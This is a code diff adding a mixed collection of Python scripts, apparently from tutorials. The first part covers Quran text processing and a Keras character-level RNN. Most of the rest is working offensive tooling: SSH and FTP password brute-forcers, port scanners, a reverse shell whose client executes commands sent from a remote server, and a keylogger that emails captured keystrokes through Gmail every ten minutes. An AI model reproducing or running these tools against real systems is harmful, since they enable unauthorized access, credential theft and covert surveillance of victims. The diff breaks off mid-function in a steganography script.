+print(to_be_removed)
+text = text.replace("", ".")
+for char in to_be_removed:
+    text = text.replace(char, "")
+text = text.replace("  ", " ")
+text = text.replace(" \n", "")
+text = text.replace("\n ", "")
+with open("quran_cleaned.txt", "w", encoding="utf8") as f:
+    print(text, file=f)
+
+
+
+
+from sklearn.model_selection import GridSearchCV
+from keras.wrappers.scikit_learn import KerasClassifier
+from utils import read_data, text_to_sequence, get_batches, get_data
+from models import rnn_model
+from keras.layers import LSTM
+
+import numpy as np
+
+text, int2char, char2int = read_data()
+
+batch_size = 256
+test_size = 0.2
+
+n_steps = 200
+n_chars = len(text)
+vocab_size = len(set(text))
+print("n_steps:", n_steps)
+print("n_chars:", n_chars)
+print("vocab_size:", vocab_size)
+encoded = np.array(text_to_sequence(text))
+n_train = int(n_chars * (1-test_size))
+X_train = encoded[:n_train]
+X_test = encoded[n_train:]
+
+X, Y = get_data(X_train, batch_size, n_steps, vocab_size=vocab_size+1)
+
+print(X.shape)
+print(Y.shape)
+
+# cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True
+model = KerasClassifier(build_fn=rnn_model, input_dim=n_steps, cell=LSTM, num_layers=2, dropout=0.2, output_dim=vocab_size+1,
+                        batch_normalization=True, bidirectional=True)
+
+
+
+params = {
+    "units": [100, 128, 200, 256, 300]
+}
+
+grid = GridSearchCV(estimator=model, param_grid=params)
+grid_result = grid.fit(X, Y)
+print(grid_result.best_estimator_)
+print(grid_result.best_params_)
+print(grid_result.best_score_)
+
+
+
+
+from keras.models import Sequential
+from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed, Bidirectional
+
+def rnn_model(input_dim, cell, num_layers, units, dropout, output_dim, batch_normalization=True, bidirectional=True):
+    model = Sequential()
+    for i in range(num_layers):
+        if i == 0:
+            # first time, specify input_shape
+            # if bidirectional:
+            #     model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True)))
+            # else:
+            model.add(cell(units, input_shape=(None, input_dim), return_sequences=True))
+            if batch_normalization:
+                model.add(BatchNormalization())
+            model.add(Dropout(dropout))
+            model.add(LeakyReLU(alpha=0.1))
+        else:
+            if i == num_layers - 1:
+                return_sequences = False
+            else:
+                return_sequences = True
+            if bidirectional:
+                model.add(Bidirectional(cell(units, return_sequences=return_sequences)))
+            else:
+                model.add(cell(units, return_sequences=return_sequences))
+            if batch_normalization:
+                model.add(BatchNormalization())
+            model.add(Dropout(dropout))
+            model.add(LeakyReLU(alpha=0.1))
+
+    model.add(Dense(output_dim, activation="softmax"))
+
+    model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"])
+    return model
+
+
+
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=5,
+                        inter_op_parallelism_threads=5, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+from models import rnn_model
+from keras.layers import LSTM
+from utils import sequence_to_text, get_data
+
+import numpy as np
+import pickle
+
+char2int = pickle.load(open("results/char2int.pickle", "rb"))
+int2char = { v:k for k, v in char2int.items() }
+print(int2char)
+n_steps = 500
+
+def text_to_sequence(text):
+    global char2int
+    return [ char2int[c] for c in text ]
+
+def pick_top_n(preds, vocab_size, top_n=5):
+    p = np.squeeze(preds)
+    p[np.argsort(p)[:-top_n]] = 0
+    p = p / np.sum(p)
+    c = np.random.choice(vocab_size, 1, p=p)[0]
+    return c
+
+def logits_to_text(logits):
+    """
+    Turn logits from a neural network into text using the tokenizer
+    :param logits: Logits from a neural network
+    :param tokenizer: Keras Tokenizer fit on the labels
+    :return: String that represents the text of the logits
+    """
+    return int2char[np.argmax(logits, axis=0)]
+    # return ''.join([int2char[prediction] for prediction in np.argmax(logits, 1)])
+
+def generate_code(model, initial_text, n_chars=100):
+    new_chars = ""
+    for i in range(n_chars):
+        x = np.array(text_to_sequence(initial_text))
+        x, _ = get_data(x, 64, n_steps, 1)
+        pred = model.predict(x)[0][0]
+        c = logits_to_text(pred)
+        new_chars += c
+        initial_text += c
+    return new_chars
+
+
+model = rnn_model(input_dim=n_steps, output_dim=99, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True)
+
+model.load_weights("results/rnn_3.5")
+x = """x = np.array(text_to_sequence(x))
+x, _ = get_data(x, n_steps, 1)
+print(x.shape)
+print(x.shape)
+print(model.predict_proba(x))
+print(model.predict_classes(x))
+
+def pick_top_n(preds, vocab_size, top_n=5):
+    p = np.squeeze(preds)
+    p[np.argsort(p)[:-top_n]] = 0
+    p = p / np.sum(p)
+    c = np.random.choice(vocab_size, 1, p=p)[0]
+    return c
+    
+def sample(checkpoint, n_samples, lstm_size, vocab_size, prime="The"):
+    samples = [c for c in prime]
+    
+    with train_chars.tf.Session() as sess:
+        saver.restore(sess, checkpoint)
+        new_state = sess.run(model.initial_state)
+        for c in prime:
+            x = np.zeros((1, 1))
+            x[0,0] = train_chars.char2int[c]
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+        # print("Preds:", preds)
+        c = pick_top_n(preds, len(train_chars.vocab))
+        samples.append(train_chars.int2char[c])
+
+        for i in range(n_samples):
+            x[0,0] = c
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+
+            c = pick_top_n(preds, len(train_chars.vocab))
+            char = train_chars.int2char[c]
+            samples.append(char)
+        #     if i == n_samples - 1 and char != " " and char != ".":
+            if i == n_samples - 1 and char != " ":
+                # while char != "." and char != " ":
+                while char != " ":
+                    x[0,0] = c
+                    feed = {model.inputs: x,
+                            model.keep_prob: 1.,
+                            model.initial_state: new_state}
+                    preds, new_state = sess.run([model.prediction, model.final_state], 
+                                                feed_dict=feed)
+
+                    c = pick_top_n(preds, len(train_chars.vocab))
+                    char = train_chars.int2char[c]
+                    samples.append(cha
+"""
+
+# print(x.shape)
+# print(x.shape)
+# pred = model.predict(x)[0][0]
+# print(pred)
+# print(logits_to_text(pred))
+# print(model.predict_classes(x))
+print(generate_code(model, x, n_chars=500))
+
+
+
+
+from models import rnn_model
+from keras.layers import LSTM
+from keras.callbacks import ModelCheckpoint
+from utils import text_to_sequence, sequence_to_text, get_batches, read_data, get_data, get_data_length
+
+import numpy as np
+import os
+
+text, int2char, char2int = read_data(load=False)
+
+batch_size = 256
+test_size = 0.2
+
+n_steps = 500
+n_chars = len(text)
+vocab_size = len(set(text))
+print("n_steps:", n_steps)
+print("n_chars:", n_chars)
+print("vocab_size:", vocab_size)
+encoded = np.array(text_to_sequence(text))
+n_train = int(n_chars * (1-test_size))
+X_train = encoded[:n_train]
+X_test = encoded[n_train:]
+
+train = get_batches(X_train, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1)
+test = get_batches(X_test, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1)
+
+for i, t in enumerate(train):
+    if i == 2:
+        break
+print(t[0])
+print(np.array(t[0]).shape)
+# print(test.shape)
+
+# # DIM = 28
+
+# model = rnn_model(input_dim=n_steps, output_dim=vocab_size+1, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True)
+# model.summary()
+
+# model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"])
+
+# if not os.path.isdir("results"):
+#     os.mkdir("results")
+
+# checkpointer = ModelCheckpoint("results/rnn_{val_loss:.1f}", save_best_only=True, verbose=1)
+
+# train_steps_per_epoch = get_data_length(X_train, n_steps, output_format="one") // batch_size
+# test_steps_per_epoch = get_data_length(X_test, n_steps, output_format="one") // batch_size
+
+# print("train_steps_per_epoch:", train_steps_per_epoch)
+# print("test_steps_per_epoch:", test_steps_per_epoch)
+
+# model.load_weights("results/rnn_3.2")
+
+# model.fit_generator(train,
+#           epochs=30,
+#           validation_data=(test),
+#           steps_per_epoch=train_steps_per_epoch,
+#           validation_steps=test_steps_per_epoch,
+#           callbacks=[checkpointer],
+#           verbose=1)
+
+# model.save("results/rnn_final.model")
+
+
+
+
+import numpy as np
+import tqdm
+import pickle
+from keras.utils import to_categorical
+
+int2char, char2int = None, None
+
+def read_data(load=False):
+    global int2char
+    global char2int
+
+    with open("E:\\datasets\\text\\my_python_code.py") as f:
+        text = f.read()
+
+    unique_chars = set(text)
+    if not load:
+        int2char = { i: c for i, c in enumerate(unique_chars, start=1) }
+        char2int = { c: i for i, c in enumerate(unique_chars, start=1) }
+        pickle.dump(int2char, open("results/int2char.pickle", "wb"))
+        pickle.dump(char2int, open("results/char2int.pickle", "wb"))
+    else:
+        int2char = pickle.load(open("results/int2char.pickle", "rb"))
+        char2int = pickle.load(open("results/char2int.pickle", "rb"))
+    return text, int2char, char2int
+
+
+def get_batches(arr, batch_size, n_steps, vocab_size, output_format="many"):
+    '''Create a generator that returns batches of size
+       batch_size x n_steps from arr.
+       
+       Arguments
+       ---------
+       arr: Array you want to make batches from
+       batch_size: Batch size, the number of sequences per batch
+       n_steps: Number of sequence steps per batch
+    '''
+    chars_per_batch = batch_size * n_steps
+    n_batches = len(arr) // chars_per_batch
+
+    arr = arr[:chars_per_batch * n_batches]
+
+    arr = arr.reshape((batch_size, -1))
+    if output_format == "many":
+        while True:
+            for n in range(0, arr.shape[1], n_steps):
+                x = arr[:, n: n+n_steps]
+                y_temp = arr[:, n+1:n+n_steps+1]
+                y = np.zeros(x.shape, dtype=y_temp.dtype)
+                y[:, :y_temp.shape[1]] = y_temp
+                yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1])
+    elif output_format == "one":
+        while True:
+            # X = np.zeros((arr.shape[1], n_steps))
+            # y = np.zeros((arr.shape[1], 1))
+            # for i in range(n_samples-n_steps):
+            #     X[i] = np.array([ p.replace(",", "") if isinstance(p, str) else p for p in df.Price.iloc[i: i+n_steps] ])
+            #     price = df.Price.iloc[i + n_steps]
+            #     y[i] = price.replace(",", "") if isinstance(price, str) else price
+            for n in range(arr.shape[1] - n_steps-1):
+                x = arr[:, n: n+n_steps]
+                y = arr[:, n+n_steps+1]
+                # print("y.shape:", y.shape)
+                y = to_categorical(y, num_classes=vocab_size)
+                # print("y.shape after categorical:", y.shape)
+                y = np.expand_dims(y, axis=0)
+                yield x.reshape(1, x.shape[0], x.shape[1]), y
+
+
+def get_data(arr, batch_size, n_steps, vocab_size):
+
+    # n_samples = len(arr) // n_seq
+    # X = np.zeros((n_seq, n_samples))
+    # Y = np.zeros((n_seq, n_samples))
+    chars_per_batch = batch_size * n_steps
+    n_batches = len(arr) // chars_per_batch
+
+    arr = arr[:chars_per_batch * n_batches]
+
+    arr = arr.reshape((batch_size, -1))
+
+    # for index, i in enumerate(range(0, n_samples*n_seq, n_seq)):
+    #     x = arr[i:i+n_seq]
+    #     y = arr[i+1:i+n_seq+1]
+    #     if len(x) != n_seq or len(y) != n_seq:
+    #         break
+    #     X[:, index] = x
+    #     Y[:, index] = y
+    X = np.zeros((batch_size, arr.shape[1]))
+    Y = np.zeros((batch_size, vocab_size))
+    for n in range(arr.shape[1] - n_steps-1):
+        x = arr[:, n: n+n_steps]
+        y = arr[:, n+n_steps+1]
+        # print("y.shape:", y.shape)
+        y = to_categorical(y, num_classes=vocab_size)
+        # print("y.shape after categorical:", y.shape)
+        # y = np.expand_dims(y, axis=1)
+        X[:, n: n+n_steps] = x
+        Y[n] = y
+        # yield x.reshape(1, x.shape[0], x.shape[1]), y
+    return np.expand_dims(X, axis=1), Y
+        
+    # return n_samples
+    # return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0])
+
+def get_data_length(arr, n_seq, output_format="many"):
+    if output_format == "many":
+        return len(arr) // n_seq
+    elif output_format == "one":
+        return len(arr) - n_seq
+
+
+def text_to_sequence(text):
+    global char2int
+    return [ char2int[c] for c in text ]
+
+def sequence_to_text(sequence):
+    global int2char
+    return ''.join([ int2char[i] for i in sequence ])
+
+
+
+
+import json
+import os
+import glob
+
+CUR_DIR = os.getcwd()
+text = ""
+
+# for filename in os.listdir(os.path.join(CUR_DIR, "data", "json")):
+surat = [ f"surah_{i}.json" for i in range(1, 115) ]
+for filename in surat:
+    filename = os.path.join(CUR_DIR, "data", "json", filename)
+    file = json.load(open(filename, encoding="utf8"))
+    content = file['verse']
+    for verse_id, ayah in content.items():
+        text += f"{ayah}."
+            
+n_ayah = len(text.split("."))
+n_words = len(text.split(" "))
+n_chars = len(text)
+
+print(f"Number of ayat: {n_ayah}, Number of words: {n_words}, Number of chars: {n_chars}")
+
+with open("quran.txt", "w", encoding="utf8") as quran_file:
+    print(text, file=quran_file)
+
+
+
+
+import paramiko
+import socket
+import time
+from colorama import init, Fore
+
+# initialize colorama
+init()
+
+GREEN = Fore.GREEN
+RED   = Fore.RED
+RESET = Fore.RESET
+BLUE  = Fore.BLUE
+
+
+def is_ssh_open(hostname, username, password):
+    # initialize SSH client
+    client = paramiko.SSHClient()
+    # add to know hosts
+    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+    try:
+        client.connect(hostname=hostname, username=username, password=password, timeout=3)
+    except socket.timeout:
+        # this is when host is unreachable
+        print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
+        return False
+    except paramiko.AuthenticationException:
+        print(f"[!] Invalid credentials for {username}:{password}")
+        return False
+    except paramiko.SSHException:
+        print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
+        # sleep for a minute
+        time.sleep(60)
+        return is_ssh_open(hostname, username, password)
+    else:
+        # connection was established successfully
+        print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
+        return True
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.")
+    parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.")
+    parser.add_argument("-P", "--passlist", help="File that contain password list in each line.")
+    parser.add_argument("-u", "--user", help="Host username.")
+
+    # parse passed arguments
+    args = parser.parse_args()
+    host = args.host
+    passlist = args.passlist
+    user = args.user
+    # read the file
+    passlist = open(passlist).read().splitlines()
+    # brute-force
+    for password in passlist:
+        if is_ssh_open(host, user, password):
+            # if combo is valid, save it to a file
+            open("credentials.txt", "w").write(f"{user}{host}:{password}")
+            break
+
+
+
+
+from cryptography.fernet import Fernet
+import os
+
+
+def write_key():
+    """
+    Generates a key and save it into a file
+    """
+    key = Fernet.generate_key()
+    with open("key.key", "wb") as key_file:
+        key_file.write(key)
+
+def load_key():
+    """
+    Loads the key from the current directory named key.key
+    """
+    return open("key.key", "rb").read()
+
+
+def encrypt(filename, key):
+    """
+    Given a filename (str) and key (bytes), it encrypts the file and write it
+    """
+    f = Fernet(key)
+    with open(filename, "rb") as file:
+        # read all file data
+        file_data = file.read()
+    # encrypt data
+    encrypted_data = f.encrypt(file_data)
+    # write the encrypted file
+    with open(filename, "wb") as file:
+        file.write(encrypted_data)
+
+
+def decrypt(filename, key):
+    """
+    Given a filename (str) and key (bytes), it decrypts the file and write it
+    """
+    f = Fernet(key)
+    with open(filename, "rb") as file:
+        # read the encrypted data
+        encrypted_data = file.read()
+    # decrypt data
+    decrypted_data = f.decrypt(encrypted_data)
+    # write the original file
+    with open(filename, "wb") as file:
+        file.write(decrypted_data)
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Simple File Encryptor Script")
+    parser.add_argument("file", help="File to encrypt/decrypt")
+    parser.add_argument("-g", "--generate-key", dest="generate_key", action="https://github.com/store_true",
+                        help="Whether to generate a new key or use existing")
+    parser.add_argument("-e", "--encrypt", action="https://github.com/store_true",
+                        help="Whether to encrypt the file, only -e or -d can be specified.")
+    parser.add_argument("-d", "--decrypt", action="https://github.com/store_true",
+                        help="Whether to decrypt the file, only -e or -d can be specified.")
+
+    args = parser.parse_args()
+    file = args.file
+    generate_key = args.generate_key
+
+    if generate_key:
+        write_key()
+    # load the key
+    key = load_key()
+
+    encrypt_ = args.encrypt
+    decrypt_ = args.decrypt
+
+    if encrypt_ and decrypt_:
+        raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
+    elif encrypt_:
+        encrypt(file, key)
+    elif decrypt_:
+        decrypt(file, key)
+    else:
+        raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
+
+
+
+
+import ftplib
+from threading import Thread
+import queue
+from colorama import Fore, init # for fancy colors, nothing else
+
+# init the console for colors (for Windows)
+# init()
+# initialize the queue
+q = queue.Queue()
+
+# port of FTP, aka 21
+port = 21
+
+def connect_ftp():
+    global q
+    while True:
+        # get the password from the queue
+        password = q.get()
+        # initialize the FTP server object
+        server = ftplib.FTP()
+        print("[!] Trying", password)
+        try:
+            # tries to connect to FTP server with a timeout of 5
+            server.connect(host, port, timeout=5)
+            # login using the credentials (user & password)
+            server.login(user, password)
+        except ftplib.error_perm:
+            # login failed, wrong credentials
+            pass
+        else:
+            # correct credentials
+            print(f"{Fore.GREEN}[+] Found credentials: ")
+            print(f"\tHost: {host}")
+            print(f"\tUser: {user}")
+            print(f"\tPassword: {password}{Fore.RESET}")
+            # we found the password, let's clear the queue
+            with q.mutex:
+                q.queue.clear()
+                q.all_tasks_done.notify_all()
+                q.unfinished_tasks = 0
+        finally:
+            # notify the queue that the task is completed for this password
+            q.task_done()
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="FTP Cracker made with Python")
+    parser.add_argument("host", help="The target host or IP address of the FTP server")
+    parser.add_argument("-u", "--user", help="The username of target FTP server")
+    parser.add_argument("-p", "--passlist", help="The path of the pass list")
+    parser.add_argument("-t", "--threads", help="Number of workers to spawn for logining, default is 30", default=30)
+
+    args = parser.parse_args()
+    # hostname or IP address of the FTP server
+    host = args.host
+    # username of the FTP server, root as default for linux
+    user = args.user
+    passlist = args.passlist
+    # number of threads to spawn
+    n_threads = args.threads
+    # read the wordlist of passwords
+    passwords = open(passlist).read().split("\n")
+
+    print("[+] Passwords to try:", len(passwords))
+
+    # put all passwords to the queue
+    for password in passwords:
+        q.put(password)
+
+    # create n_threads that runs that function
+    for t in range(n_threads):
+        thread = Thread(target=connect_ftp)
+        # will end when the main thread end
+        thread.daemon = True
+        thread.start()
+    # wait for the queue to be empty
+    q.join()
+
+
+
+
+import ftplib
+from colorama import Fore, init # for fancy colors, nothing else
+
+# init the console for colors (for Windows)
+init()
+# hostname or IP address of the FTP server
+host = "192.168.1.113"
+# username of the FTP server, root as default for linux
+user = "test"
+# port of FTP, aka 21
+port = 21
+
+def is_correct(password):
+    # initialize the FTP server object
+    server = ftplib.FTP()
+    print(f"[!] Trying", password)
+    try:
+        # tries to connect to FTP server with a timeout of 5
+        server.connect(host, port, timeout=5)
+        # login using the credentials (user & password)
+        server.login(user, password)
+    except ftplib.error_perm:
+        # login failed, wrong credentials
+        return False
+    else:
+        # correct credentials
+        print(f"{Fore.GREEN}[+] Found credentials:", password, Fore.RESET)
+        return True
+
+
+# read the wordlist of passwords
+passwords = open("wordlist.txt").read().split("\n")
+print("[+] Passwords to try:", len(passwords))
+
+# iterate over passwords one by one
+# if the password is found, break out of the loop
+for password in passwords:
+    if is_correct(password):
+        break
+
+
+
+
+import hashlib
+import sys
+
+def read_file(file):
+    """Reads en entire file and returns file bytes."""
+    BUFFER_SIZE = 16384 # 16 kilo bytes
+    b = b""
+    with open(file, "rb") as f:
+        while True:
+            # read 16K bytes from the file
+            bytes_read = f.read(BUFFER_SIZE)
+            if bytes_read:
+                # if there is bytes, append them
+                b += bytes_read
+            else:
+                # if not, nothing to do here, break out of the loop
+                break
+    return b
+
+if __name__ == "__main__":
+    # read some file
+    file_content = read_file(sys.argv[1])
+    # some chksums:
+    # hash with MD5 (not recommended)
+    print("MD5:", hashlib.md5(file_content).hexdigest())
+
+    # hash with SHA-2 (SHA-256 & SHA-512)
+    print("SHA-256:", hashlib.sha256(file_content).hexdigest())
+
+    print("SHA-512:", hashlib.sha512(file_content).hexdigest())
+
+    # hash with SHA-3
+    print("SHA-3-256:", hashlib.sha3_256(file_content).hexdigest())
+
+    print("SHA-3-512:", hashlib.sha3_512(file_content).hexdigest())
+
+    # hash with BLAKE2
+    # 256-bit BLAKE2 (or BLAKE2s)
+    print("BLAKE2c:", hashlib.blake2s(file_content).hexdigest())
+    # 512-bit BLAKE2 (or BLAKE2b)
+    print("BLAKE2b:", hashlib.blake2b(file_content).hexdigest())
+
+
+
+
+import hashlib
+
+# encode it to bytes using UTF-8 encoding
+message = "Some text to hash".encode()
+
+# hash with MD5 (not recommended)
+print("MD5:", hashlib.md5(message).hexdigest())
+
+# hash with SHA-2 (SHA-256 & SHA-512)
+print("SHA-256:", hashlib.sha256(message).hexdigest())
+
+print("SHA-512:", hashlib.sha512(message).hexdigest())
+
+# hash with SHA-3
+print("SHA-3-256:", hashlib.sha3_256(message).hexdigest())
+
+print("SHA-3-512:", hashlib.sha3_512(message).hexdigest())
+
+# hash with BLAKE2
+# 256-bit BLAKE2 (or BLAKE2s)
+print("BLAKE2c:", hashlib.blake2s(message).hexdigest())
+# 512-bit BLAKE2 (or BLAKE2b)
+print("BLAKE2b:", hashlib.blake2b(message).hexdigest())
+
+
+
+
+from PIL import Image
+from PIL.ExifTags import TAGS
+import sys
+
+# path to the image or video
+imagename = sys.argv[1]
+
+# read the image data using PIL
+image = Image.open(imagename)
+
+# extract EXIF data
+exifdata = image.getexif()
+
+# iterating over all EXIF data fields
+for tag_id in exifdata:
+    # get the tag name, instead of human unreadable tag id
+    tag = TAGS.get(tag_id, tag_id)
+    data = exifdata.get(tag_id)
+    # decode bytes 
+    if isinstance(data, bytes):
+        data = data.decode()
+    print(f"{tag:25}: {data}")
+
+
+
+
+import keyboard # for keylogs
+import smtplib # for sending email using SMTP protocol (gmail)
+# Semaphore is for blocking the current thread
+# Timer is to make a method runs after an interval amount of time
+from threading import Semaphore, Timer
+
+SEND_REPORT_EVERY = 600 # 10 minutes
+EMAIL_ADDRESS = "put_real_address_heregmail.com"
+EMAIL_PASSWORD = "put_real_pw"
+
+class Keylogger:
+    def __init__(self, interval):
+        # we gonna pass SEND_REPORT_EVERY to interval
+        self.interval = interval
+        # this is the string variable that contains the log of all 
+        # the keystrokes within self.interval
+        self.log = ""
+        # for blocking after setting the on_release listener
+        self.semaphore = Semaphore(0)
+
+    def callback(self, event):
+        """
+        This callback is invoked whenever a keyboard event is occured
+        (i.e when a key is released in this example)
+        """
+        name = event.name
+        if len(name) > 1:
+            # not a character, special key (e.g ctrl, alt, etc.)
+            # uppercase with []
+            if name == "space":
+                # " " instead of "space"
+                name = " "
+            elif name == "enter":
+                # add a new line whenever an ENTER is pressed
+                name = "[ENTER]\n"
+            elif name == "decimal":
+                name = "."
+            else:
+                # replace spaces with underscores
+                name = name.replace(" ", "_")
+                name = f"[{name.upper()}]"
+
+        self.log += name
+    
+    def sendmail(self, email, password, message):
+        # manages a connection to an SMTP server
+        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
+        # connect to the SMTP server as TLS mode ( for security )
+        server.starttls()
+        # login to the email account
+        server.login(email, password)
+        # send the actual message
+        server.sendmail(email, email, message)
+        # terminates the session
+        server.quit()
+
+    def report(self):
+        """
+        This function gets called every self.interval
+        It basically sends keylogs and resets self.log variable
+        """
+        if self.log:
+            # if there is something in log, report it
+            self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
+            # can print to a file, whatever you want
+            # print(self.log)
+        self.log = ""
+        Timer(interval=self.interval, function=self.report).start()
+
+    def start(self):
+        # start the keylogger
+        keyboard.on_release(callback=self.callback)
+        # start reporting the keylogs
+        self.report()
+        # block the current thread,
+        # since on_release() doesn't block the current thread
+        # if we don't block it, when we execute the program, nothing will happen
+        # that is because on_release() will start the listener in a separate thread
+        self.semaphore.acquire()
+
+    
+if __name__ == "__main__":
+    keylogger = Keylogger(interval=SEND_REPORT_EVERY)
+    keylogger.start()
+
+
+
+
+import argparse
+import socket # for connecting
+from colorama import init, Fore
+
+from threading import Thread, Lock
+from queue import Queue
+
+# some colors
+init()
+GREEN = Fore.GREEN
+RESET = Fore.RESET
+GRAY = Fore.LIGHTBLACK_EX
+
+# number of threads, feel free to tune this parameter as you wish
+N_THREADS = 200
+# thread queue
+q = Queue()
+print_lock = Lock()
+
+def port_scan(port):
+    """
+    Scan a port on the global variable host
+    """
+    try:
+        s = socket.socket()
+        s.connect((host, port))
+    except:
+        with print_lock:
+            print(f"{GRAY}{host:15}:{port:5} is closed  {RESET}", end='\r')
+    else:
+        with print_lock:
+            print(f"{GREEN}{host:15}:{port:5} is open    {RESET}")
+    finally:
+        s.close()
+
+
+def scan_thread():
+    global q
+    while True:
+        # get the port number from the queue
+        worker = q.get()
+        # scan that port number
+        port_scan(worker)
+        # tells the queue that the scanning for that port 
+        # is done
+        q.task_done()
+
+
+def main(host, ports):
+    global q
+    for t in range(N_THREADS):
+        # for each thread, start it
+        t = Thread(target=scan_thread)
+        # when we set daemon to true, that thread will end when the main thread ends
+        t.daemon = True
+        # start the daemon thread
+        t.start()
+
+    for worker in ports:
+        # for each port, put that port into the queue
+        # to start scanning
+        q.put(worker)
+    
+    # wait the threads ( port scanners ) to finish
+    q.join()
+
+
+if __name__ == "__main__":
+    # parse some parameters passed
+    parser = argparse.ArgumentParser(description="Simple port scanner")
+    parser.add_argument("host", help="Host to scan.")
+    parser.add_argument("--ports", "-p", dest="port_range", default="1-65535", help="Port range to scan, default is 1-65535 (all ports)")
+    args = parser.parse_args()
+    host, port_range = args.host, args.port_range
+
+    start_port, end_port = port_range.split("-")
+    start_port, end_port = int(start_port), int(end_port)
+
+    ports = [ p for p in range(start_port, end_port)]
+
+    main(host, ports)
+
+
+
+
+import socket # for connecting
+from colorama import init, Fore
+
+# some colors
+init()
+GREEN = Fore.GREEN
+RESET = Fore.RESET
+GRAY = Fore.LIGHTBLACK_EX
+
+def is_port_open(host, port):
+    """
+    determine whether host has the port open
+    """
+    # creates a new socket
+    s = socket.socket()
+    try:
+        # tries to connect to host using that port
+        s.connect((host, port))
+        # make timeout if you want it a little faster ( less accuracy )
+        s.settimeout(0.2)
+    except:
+        # cannot connect, port is closed
+        # return false
+        return False
+    else:
+        # the connection was established, port is open!
+        return True
+
+# get the host from the user
+host = input("Enter the host:")
+# iterate over ports, from 1 to 1024
+for port in range(1, 1025):
+    if is_port_open(host, port):
+        print(f"{GREEN}[+] {host}:{port} is open      {RESET}")
+    else:
+        print(f"{GRAY}[!] {host}:{port} is closed    {RESET}", end="\r")
+
+
+
+
+import socket
+import subprocess
+import sys
+
+SERVER_HOST = sys.argv[1]
+SERVER_PORT = 5003
+BUFFER_SIZE = 1024
+
+# create the socket object
+s = socket.socket()
+# connect to the server
+s.connect((SERVER_HOST, SERVER_PORT))
+
+# receive the greeting message
+message = s.recv(BUFFER_SIZE).decode()
+print("Server:", message)
+
+while True:
+    # receive the command from the server
+    command = s.recv(BUFFER_SIZE).decode()
+    if command.lower() == "exit":
+        # if the command is exit, just break out of the loop
+        break
+    # execute the command and retrieve the results
+    output = subprocess.getoutput(command)
+    # send the results back to the server
+    s.send(output.encode())
+# close client connection
+s.close()
+
+
+
+
+import socket
+
+SERVER_HOST = "0.0.0.0"
+SERVER_PORT = 5003
+
+BUFFER_SIZE = 1024
+
+# create a socket object
+s = socket.socket()
+
+# bind the socket to all IP addresses of this host
+s.bind((SERVER_HOST, SERVER_PORT))
+# make the PORT reusable
+# when you run the server multiple times in Linux, Address already in use error will raise
+s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+s.listen(5)
+print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
+
+# accept any connections attempted
+client_socket, client_address = s.accept()
+print(f"{client_address[0]}:{client_address[1]} Connected!")
+
+# just sending a message, for demonstration purposes
+message = "Hello and Welcome".encode()
+client_socket.send(message)
+
+while True:
+    # get the command from prompt
+    command = input("Enter the command you wanna execute:")
+    # send the command to the client
+    client_socket.send(command.encode())
+    if command.lower() == "exit":
+        # if the command is exit, just break out of the loop
+        break
+    # retrieve command results
+    results = client_socket.recv(BUFFER_SIZE).decode()
+    # print them
+    print(results)
+# close connection to the client
+client_socket.close()
+# close server connection
+s.close()
+
+
+
+
+import cv2
+import numpy as np
+import os
+
+def to_bin(data):
+    """Convert data to binary format as string"""
+    if isinstance(data, str):
+        return ''.join([ format(ord(i), "08b") for i in data ])
+    elif isinstance(data, bytes) or isinstance(data, np.ndarray):
+        return [ format(i, "08b") for i in data ]
+    elif isinstance(data, int) or isinstance(data, np.uint8):
+        return format(data, "08b")
+    else:
+        raise TypeError("Type not supported.")
+
+
+def encode(image_name, secret_data):
+    # read the image
+    image = cv2.imread(image_name)
+    # maximum bytes to encode
+    n_bytes = image.shape[0] * image.shape[1] * 3 // 8
+    print("[*] Maximum bytes to encode:", n_bytes)
+    if len(secret_data) > n_bytes:
+        raise ValueError("[!] Insufficient bytes, need bigger image or less data.")
+    print("[*] Encoding data...")
+    # add stopping criteria
+    secret_data += "====="
+    data_index = 0
+    # convert data to binary
+    binary_secret_data = to_bin(secret_data)
+    # size of data to hide
+    data_len = len(binary_secret_data)
+    
+    for row in image:
+        for pixel in row:
+            # convert RGB values to binary format
+            r, g, b = to_bin(pixel)
+            # modify the least significant bit only if there is still data to store
+            if data_index < data_len:
+                # least significant red pixel bit
